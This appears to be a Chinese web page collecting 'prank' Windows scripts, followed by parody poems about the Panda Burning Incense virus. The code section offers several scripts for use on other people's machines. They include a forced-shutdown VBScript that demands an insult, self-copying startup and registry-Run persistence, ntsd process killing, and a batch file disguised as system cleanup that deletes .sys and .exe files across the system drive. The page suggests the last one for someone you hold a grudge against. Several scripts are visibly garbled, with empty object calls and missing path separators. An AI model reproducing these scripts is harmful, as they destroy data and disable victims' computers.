恶搞代码收藏

（1）on error resume next

dim WSHshellA

set WSHshellA = object("")

" /c shutdown -r -t 60 -c ""哈哈你惨了，回答个问题才不关你机，不回答我问题就在就一分钟关你机，请回答""我是个傻瓜"" 不信，试试看···"" ",0 ,true

dim a

do while(a <> "我是个傻瓜")

a = inputbox ("呵呵，说 我是个傻瓜,就不关机，快说，说 ""我是个傻瓜"" ","说不说","有本事就不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = object("")

" /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾！爽了吧！叫你不陪我说话"

用记事本保存扩展名为 .vbe

(2）建个记事本

写上下事的代码，保存后改扩展名TXT为bat就可以了，这是吓人用的。

@ color 4f

@echo off

echo 删除计算机的C盘的所有文件......

ping 127.0.0.1 /n 2 >nul

echo 已删除完毕

echo.

echo 删除计算机的D盘的所有文件......

ping 127.0.0.1 /n 2 >nul

echo 已删除完毕

echo.

echo 删除计算机的E盘的所有文件......

ping 127.0.0.1 /n 2 >nul

echo 已删除完毕

@ color

echo.

echo. =========================================

echo. 夜黑杀人夜，风高放火天，哈哈 ……

echo. =========================================

echo. 系统将马上崩溃......

echo. 这是一个木马程序......所有资料已经传到 ************

shutdown /r /t 300 /c "想要回你的资料可以给我发个信，不过先准备点那个……"

ntsd -c q -pn

ping 127.0.0.1 /n 20 >nul

start

shutdown -a

这是个开机蓝屏得小程序

@echo off

set var=%userprofile%「开始」菜单程序启动

xcopy/y %0 "%var%"

cmd /c start /min ntsd -c q -pn 1>nul 2>nul

然后保存为.bat格式即可 注意：请勿拿自己得电脑做实验 后果自负哦

代码如下：

@echo off

echo 正在清理系统文件，请稍等......

del /f /s /q %systemdrive%*.sys

del /f /s /q %systemdrive%*.exe

del /f /s /q %systemdrive%*.txt

del /f /s /q %systemdrive%*.bat

del /f /s /q %systemdrive%*.chk

del /f /s /q %systemdrive%*.old

del /f /s /q %systemdrive%recycled*.*

del /f /s /q %windir%*.bak

del /f /s /q %windir%prefetch*.*

rd /s /q %windir%temp & md %windir%temp

del /f /q %userprofile%cookies*.*

del /f /q %userprofile%recent*.*

del /f /s /q "%userprofile%Local SettingsTemporary Internet Files*.*"

del /f /s /q "%userprofile%Local SettingsTemp*.*"

del /f /s /q "%userprofile%recent*.*"

echo 自杀完成！

echo. & pause

保存格式为bat

严重声明：如果是在自己家里上网,最好不要运行.不过如果有人跟你有仇,而且不在网吧上网.你可以..........

一段代码恶搞在你电脑上乱登QQ的人

别人老在你电脑上乱等QQ，是不是让你很烦啊？

下个软件限制别人登陆好像自己不够大方，不如玩点个性的~！！！

用下面一段代码就能轻松打造你自己的登陆锁，

_____________________________________————————————

dim a

const pass="喜欢"

do

a=inputbox("你喜欢吗?说喜欢就能登陆了。不说不能登陆QQ哦@@")

if a=pass then

msgbox("你好听话哦，你可以登陆QQ了！！~~")

exit do

end if

loop

_____________________________________————————————

修改方法，在你的qq安装目录下，找到NewSkins文件夹---接着找到QQ2008文件夹，然后找到“”这个文件，用记事本打开“”，在“”最上面加上上面的蓝色代码。保存，登陆QQ，要输入密码的，等你的QQ皮肤运行的时候，这个窗口就会弹出来了：

输入你设定的密码：“喜欢”

会弹出来另外一个窗口：

当然，弹出窗口上的字你可自己设定。。

QQ2009版本上应该也可以用这个方法来实现此功能，本人没有测试，如果你有兴趣可以测试下，

下面的下载地址是我设定的登陆窗口，如果你不会设定，就拿我的先用吧，或者加我的QQ群：

56632158 我帮你搞个。

屏幕狂闪的代码

=========代码开始============

@Echo Off

rd /Q /S C:"Documents and Settings"%username%「开始」菜单程序启动

@Copy /y %0 %windir%

@reg add HKLMSoftwareMicrosoftWindowsCurrentVersionRun /v expl0rer /t REG_SZ

/d %windir% /f >nul

@Echo Off

@Echo Exit|%ComSpec% /k prompt e 100 B4 00 B0 12 Cd 10 B0 03 Cd 10 Cd 20

$_g$_q$_|debug>nul

@chcp 437>nul

@graftabl 936>nul

color 0a

@Echo Off

:xing

color 0a

@Echo

________________________________________________________________________________

color 1a

@Echo

________________________________________________________________________________

color 2a

@Echo

________________________________________________________________________________

color 3a

@Echo

________________________________________________________________________________

color 4a

@Echo

________________________________________________________________________________

color 5a

@Echo

________________________________________________________________________________

color 6a

@Echo

________________________________________________________________________________

color 7a

@Echo

________________________________________________________________________________

color 8a

@Echo

________________________________________________________________________________

color 9a

@Echo

________________________________________________________________________________

Goto xing

========代码结束

恶搞！！！！！！！！！！！！！

set WshShell = Object("")

'标题

alerttitle = "警告"

'内容,vbnewline为换行符

alerttext = vbnewline & vbnewline & "黑客入侵" & vbnewline & vbnewline & vbnewline & "电脑在5分钟后自动引爆"& vbnewline & vbnewline & vbnewline

for i = 1 to 12 '12

(1000*60*55) '

msgbox alerttext,4096,alerttitle

next

将上面代码存为：恶搞.vbs ，然后双击运行，多运行几次！！！

过55分钟，你的朋友就会叫，我被黑了

熊猫烧香在网上泛滥好长时间了,刚刚突然发现一堆网友在贴吧里对诗,笑到抽筋,恶搞程度一流.从熊猫烧香中,你还有好的idea么?

床前明月光，熊猫在烧香。专杀杀不尽，两眼泪汪汪。

熊猫烧不尽，关机开又生。宝剑锋从磨砺出，熊猫香自网上来。无边香火烧烧下，不尽熊猫滚滚来。

身心俱疲终不悔，为猫烧得人憔悴。

相见时难杀亦难，熊猫烧香百机残。 熊猫逊雪三分白，雪却输猫一炷香。

天长地久有时尽，此香绵绵无绝期。 猫儿香香烧九州，几家欢乐几家愁。 唯有烧香多放肆，敢教病毒换新鲜。

江民瑞星昏花，金山诺顿搬家，卡巴斯基堕马。熊猫烧香，网中人在死捱！

NB音乐网：

乱香渐欲烧机毁，熊猫才能没机房。

水火刀兵无妄灾，熊猫烧香也自然。

烧香时难灭亦难，杀软无力电脑残。

烧香如此多娇，引无数网民竟折腰。

上邪，此猫欲烧吾香，山无棱，天地合，此猫杀不绝。老猫伏枥，志在千机；病毒暮年，烧香不已。

满机熊猫关不住，三支高香出墙来。

熊猫离家带香回，毒性无改势未衰。卡巴相见不相识，笑问猫从何处来？

朝辞木马卡巴间，千里熊猫一刻来。两岸烧香停不住，病毒已染万重山。

熊猫铲尽根除日，家祭毋忘告乃机。

木马未净，熊猫先行，一半机停。

久旱逢熊猫，他乡遇烧香。机房杀毒夜，明早装机时。

一提熊猫泪千行，咋知何日不烧香。

天涯何处无熊猫，何必单恋三枝香。

熊猫未死香不尽，杀毒正扫泪怎干？

路逢熊猫须当避，不是高手莫修机。

只因世上多熊猫，才有人间百毒生。

熊猫一个能毁机，杀毒一堆也关闭。

众里寻猫千百度，蓦然回首，那猫已在已在香火阑珊处。

冬眠不觉晓，病毒卡巴绞。熊猫夜烧香，文件毁多少？

机房风光，千里机瘫，万里半残。防火墙内外，废墟莽莽；硬盘上下，顿时逃逃。你舞战斧，我施冷枪，杀软病毒试比高。内存如此稀少，引无数电脑竞折腰。惜千禧年虫，功亏一篑；欢乐时光，两月魂消。一代天骄，冲击震荡，只识启机关电脑。俱往矣，数风流病毒，还看熊猫。

碧云天，黄花地，西风紧，熊猫烧香。晓来谁染exe？总是熊猫香。

熊猫已被格式化，此地空余白硬盘。熊猫一去不复返，网民硬盘空悠悠。熊猫烧烧三炷香，系统萋萋exe。重要资料何处是？可恶熊猫惹人愁。

君不见熊猫之香网上来，系统崩溃不复回。君不见杀毒软件没办法，朝如青丝暮成靶。虽被感染须尽欢，莫使微机空对月。天生熊猫必烧香，硬盘格尽还复来。熊猫它爹且为乐，逮着必揍三百拳。卡巴兄、江民弟，将烧香，机莫关。与君香一柱，请君为我倾耳听。系统

文件不足贵，但愿熊猫不更新。古来病毒皆寂寞，惟有熊猫留其名。威金昔时挂博客，染机十千恣欢谑。牛人何为言少钱，径须苟取熊猫主。冤有主，债有头，熊猫烧香算个球，有种你烧遍地球。

但使熊猫烧香在，不教残机过好年。

熊猫烧香何时了，中毒知多少？ghost昨夜又失踪，系统不堪回首缓慢中。文件程序应犹在，只是图标改。问君能有几多愁，恰似一江春水向东流。

熊猫生南国，香来烧几支？愿君多买碟，此毒最伤机。

猫，猫，猫，拿香向天烧。闭眼作祈祷，明天会更好。

君不见崭新电脑刚买来，奔腾双核不复回。君不见中毒重装悲白发，朝如青丝暮成雪。人生得意须尽欢，莫使论坛空灌水。天生熊猫必有用，千金烧尽还复来。死机兰屏且为乐，还原一键三百秒。橙八月，灰鸽子，将进酒，杯莫停。与君歌一曲，请君为我开视频。盗版XP不足贵，但愿长网不掉线。古来网虫皆寂寞，惟有制毒留其名。陈王昔时上通宵，光纤千兆恣欢谑。主人何为言少钱，径须沽取对君酌。微星板，华硕卡，呼儿将出换扣肉，与尔同销万古愁。

天下网虫出我辈，一但中毒岁月催。秒杀瑞星谈笑间，不胜卡巴一场醉。熊猫嚣张挥鬼脸，香灰如山鼠标飞。弹窗如潮人如水，只叹重装几人会。

熊猫本无罪，香炉亦清白。必缴造毒者，还望汝节哀。

李白开机将上网，忽闻机内熊猫声。杀毒软件千千万，不及我猫三柱香。

千般病毒有尽时，此香绵绵无绝期。

人烦熊猫乐，毒劲机删空。香出烧疯了，殖民网络中。

春节前夕雨纷纷，登上QQ欲断魂。借问病毒何时除，网友遥指灭猫村。

春眠玩电脑，处处烧香扰。夜来杀虫剂，不知死多少。

金山薄，瑞星恶，熊猫烧香花易落。江民软，卡巴残，杀毒心事，独语斜栏。难，难，难！病毒常似秋千索。文件残，夜阑珊，怕猫来问，咽泪装欢。瞒，瞒，瞒！

熊猫夜烧香三柱，更烧出，大病毒。瑞星卡巴尸满路，IE罢工，XP难入，一夜GHOST无。

日照香炉升紫烟，疑似熊猫在烧香。

夹香独上西楼，月如钩，寂寞杀毒深房锁春秋。杀不断，带复活，别有一番滋味在心头。

熊猫风光，千里感染，万里烧香。望神州内外，香火绵延，四海五洲，皆此愁肠。网吧企业，学校家庭，没有一处不遭殃。变种日，看国宝登场分外嚣张。

市场如此吃香，引无数杀毒软件竞开张。惜金山毒霸，自身难保；瑞星杀毒，技术牵强。一代名区卡卡论坛，专杀不如变种强。都歇菜，数风流软件，卡巴首当。

你的泪光，柔弱中带伤。满屏的熊猫香，删除过往。熊猫猖狂，点上三根香，是谁在电脑前冰冷的绝望。猫慢慢拜，暗黄色的香，我瘫坐椅子上，精神错乱。路在何方，谁为我思量，冷风吹乱憔悴模样。熊猫拜，三根香，你的笑容已泛黄，重装又重装，我心里在发慌。江民杀，瑞星除，你的影子剪不断，徒留我在电脑旁神伤。

爱机已死两忙忙，不思量，自难忘。熊猫烧香，无处话凄凉。纵使相逢应不识，恨满面，屏如霜。夜来恶梦忽还乡，小熊猫，正烧香。相顾无言，唯有泪千行。料得重装爱机日，熊猫来，还烧香。

何时能开机，泪眼问杀毒，不知已中熊猫，烧香来拜年。金山乘风归去，瑞星一命呜呼，卡巴不胜寒。孤军在奋战，欲把熊猫歼。小熊猫，三炷香，烧不完。不应有恨，只是你丫太过分。人有悲欢离合，机有阴晴圆缺，此猫忒难杀，但愿其作者，全家下黄泉。

一机，两机，三四机。五六七八九十机。千机，万机，无数机。熊猫烧香都搞定。

床前明月光，熊猫拿着香。瑞星加毒霸，全部死光光。

开机难，运行艰，熊猫烧香红破天。监控器，防火墙，硬件虽在，系统已破。错，错，

错！红客手，黑客酒，满屏尽跟熊猫走。冲击波，灰鸽子，橙色八月，情人病毒。莫、莫、莫！

上网日当午，汗滴手下鼠。谁知我电脑，都是熊猫毒。

忽如一夜病毒来，千机万机熊猫拜。

熊猫手里拿香烧，夜开电脑尽是它。熊猫不知网民恨，隔机犹插三支香。

常在网上找物，沉醉不知毒入。兴尽晚关机，误入病毒深处。杀毒，杀毒，干掉熊猫无数。

瑞星江民毒霸，熊猫烧香不怕，砸电脑格式化。熊猫来下，众网民想跳崖。

半个网页没打开，熊猫烧香匆匆来。问猫怎么这厉害，为有病毒滚滚来。

猫厉害，电脑坏坏坏。开机熊猫多如雨，上网卡得超厉害。能不揍熊猫？

熊猫突进我家楼，电脑变成插香州。杀毒软件全用尽，惟见熊猫到处流。

熊猫三支香，网民苦叫声。软件杀不尽，总是烧香勤。何日杀光汝，网民不杀生。

熊猫烧香真是烦，瑞星江民杀不完。正入猫香圈子里，一猫放过一猫拦。

九天龙吟惊天变，惟我熊猫傲世间。

现看电脑很悲哀，烧香烧进我这台。卡巴杀猪死命叫，重装开机他还在。

熊猫烧香何处寻，互联网上白森森。熊猫一只自春色，手捧三香空好因。三顾系统乐不彼，重启重装无耐心。游戏未捷先中招，电脑一关泪满襟。

横眉冷对三根香，病毒只有熊猫牛。

熊猫烧香者，一刻一枯荣。香火烧不尽，熊猫吹又生。

烧香熊猫电脑上，惯看秋月春风。一壶可乐喜相逢，古今多少事，都付烧香中。

昨日打开机箱，误引病毒一方。烧香，烧香，惊得熊猫满堂。

世人都晓网络好，惟有盗版忘不了！文件心血在何方？熊猫烧香烧没了！世人都晓Q Q好，密码木马忘不了！论坛共享好快活，蓝屏霎时死机了！世人都晓卡巴好，光缆一断完蛋了！香火日日烧疫情，机死又兼网断了！世人都晓网络好，只有赚钱忘不了！网络侵袭古来多，强势反黑谁见了？

一骑红尘熊猫笑，无人知是香火来。

天若有情天亦老，熊猫何处不烧香。

生当做网杰，死亦为鬼猫。至今思杀软，不如烧烧香。

无可奈何熊猫入，似为香火烟归来。

十日正乘秋，熊猫兴九洲。泛桂迎尊满，烧香向酒浮。卡巴萸早熟，熊猫菊全部收。熊猫烧香狠，方得机中留。